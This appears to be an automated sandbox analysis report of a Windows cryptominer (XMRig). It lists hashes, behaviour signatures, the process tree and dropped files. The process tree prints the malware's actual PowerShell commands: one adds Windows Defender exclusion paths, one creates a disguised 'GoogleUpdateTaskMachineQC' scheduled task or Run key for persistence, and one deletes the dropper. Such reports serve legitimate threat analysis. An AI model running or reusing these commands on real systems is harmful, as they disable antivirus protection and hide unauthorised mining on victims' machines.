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Resubmissions

11/02/2025, 16:33

250211-t2ztsstkey 10

11/02/2025, 16:33

250211-t2zh2atkex 10

11/02/2025, 16:33

250211-t2yxhatkew 10

11/02/2025, 16:33

250211-t2nrjasqdk 10

24/10/2024, 20:12

241024-yyvg5asemn 10

24/10/2024, 20:11

241024-yygk9ssemk 10

24/10/2024, 20:11

241024-yygahasemj 10

24/10/2024, 20:11

241024-yyd55sselq 10

24/10/2024, 20:08

241024-yw247asdqp 10

24/10/2024, 20:08

241024-yw1lcssdqn 10

Analysis

  • max time kernel
    1799s
  • max time network
    1789s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/10/2024, 20:08

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3368
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3332
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1648
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
          PID:220
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:1520
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17).exe"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4268
            • C:\Windows\System32\choice.exe
              choice /C Y /N /D Y /T 3
              3⤵
                PID:2020
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:2540
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:2208
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe qtdiqnkejoz
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              PID:3976
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:2904
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic PATH Win32_VideoController GET Name, VideoProcessor
                3⤵
                • Detects videocard installed
                PID:4856
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:5112
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
              2⤵
                PID:2340
            • C:\Program Files\Google\Chrome\updater.exe
              "C:\Program Files\Google\Chrome\updater.exe"
              1⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Drops file in Program Files directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1876

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Program Files\Google\Chrome\updater.exe

              Filesize

              2.0MB

              MD5

              a16a669a09bf158058b83e04e69fe38e

              SHA1

              f6c94763850d9e590d86057139e8895a7aacdeea

              SHA256

              cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

              SHA512

              658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

            • C:\Program Files\Google\Libs\g.log

              Filesize

              226B

              MD5

              fdba80d4081c28c65e32fff246dc46cb

              SHA1

              74f809dedd1fc46a3a63ac9904c80f0b817b3686

              SHA256

              b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

              SHA512

              b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              3a6bad9528f8e23fb5c77fbd81fa28e8

              SHA1

              f127317c3bc6407f536c0f0600dcbcf1aabfba36

              SHA256

              986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

              SHA512

              846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sozgsm2x.x44.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              4KB

              MD5

              bdb25c22d14ec917e30faf353826c5de

              SHA1

              6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

              SHA256

              e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

              SHA512

              b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

            • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              1KB

              MD5

              b42c70c1dbf0d1d477ec86902db9e986

              SHA1

              1d1c0a670748b3d10bee8272e5d67a4fabefd31f

              SHA256

              8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

              SHA512

              57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

            • memory/1648-19-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/1648-18-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/1648-29-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/1648-31-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/1648-32-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/1648-34-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/1876-38-0x00007FF67FF90000-0x00007FF6801A1000-memory.dmp

              Filesize

              2.1MB

            • memory/1876-97-0x00007FF67FF90000-0x00007FF6801A1000-memory.dmp

              Filesize

              2.1MB

            • memory/2340-96-0x0000025E66D50000-0x0000025E66D70000-memory.dmp

              Filesize

              128KB

            • memory/2340-132-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-156-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-154-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-152-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-150-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-148-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-146-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-144-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-142-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-140-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-138-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-136-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-134-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-130-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-95-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-128-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-126-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-99-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-124-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-100-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-102-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-122-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-104-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-106-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-108-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-110-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-112-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-114-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-116-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-118-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2340-120-0x00007FF784990000-0x00007FF785184000-memory.dmp

              Filesize

              8.0MB

            • memory/2540-61-0x0000023256480000-0x000002325648A000-memory.dmp

              Filesize

              40KB

            • memory/2540-60-0x00000232564A0000-0x00000232564BC000-memory.dmp

              Filesize

              112KB

            • memory/2540-57-0x0000023256250000-0x000002325626C000-memory.dmp

              Filesize

              112KB

            • memory/2540-58-0x0000023256270000-0x0000023256325000-memory.dmp

              Filesize

              724KB

            • memory/2540-59-0x0000023256330000-0x000002325633A000-memory.dmp

              Filesize

              40KB

            • memory/2540-65-0x00000232564D0000-0x00000232564DA000-memory.dmp

              Filesize

              40KB

            • memory/2540-62-0x00000232564E0000-0x00000232564FA000-memory.dmp

              Filesize

              104KB

            • memory/2540-64-0x00000232564C0000-0x00000232564C6000-memory.dmp

              Filesize

              24KB

            • memory/2540-63-0x0000023256490000-0x0000023256498000-memory.dmp

              Filesize

              32KB

            • memory/3332-13-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/3332-12-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/3332-2-0x000001A1B1830000-0x000001A1B1852000-memory.dmp

              Filesize

              136KB

            • memory/3332-1-0x00007FFEC79D3000-0x00007FFEC79D5000-memory.dmp

              Filesize

              8KB

            • memory/3332-16-0x00007FFEC79D0000-0x00007FFEC8491000-memory.dmp

              Filesize

              10.8MB

            • memory/3976-98-0x00007FF709B20000-0x00007FF709B36000-memory.dmp

              Filesize

              88KB

            • memory/3976-103-0x00007FF709B20000-0x00007FF709B36000-memory.dmp

              Filesize

              88KB

            • memory/4768-36-0x00007FF7E4F20000-0x00007FF7E5131000-memory.dmp

              Filesize

              2.1MB

            • memory/4768-0-0x00007FF7E4F20000-0x00007FF7E5131000-memory.dmp

              Filesize

              2.1MB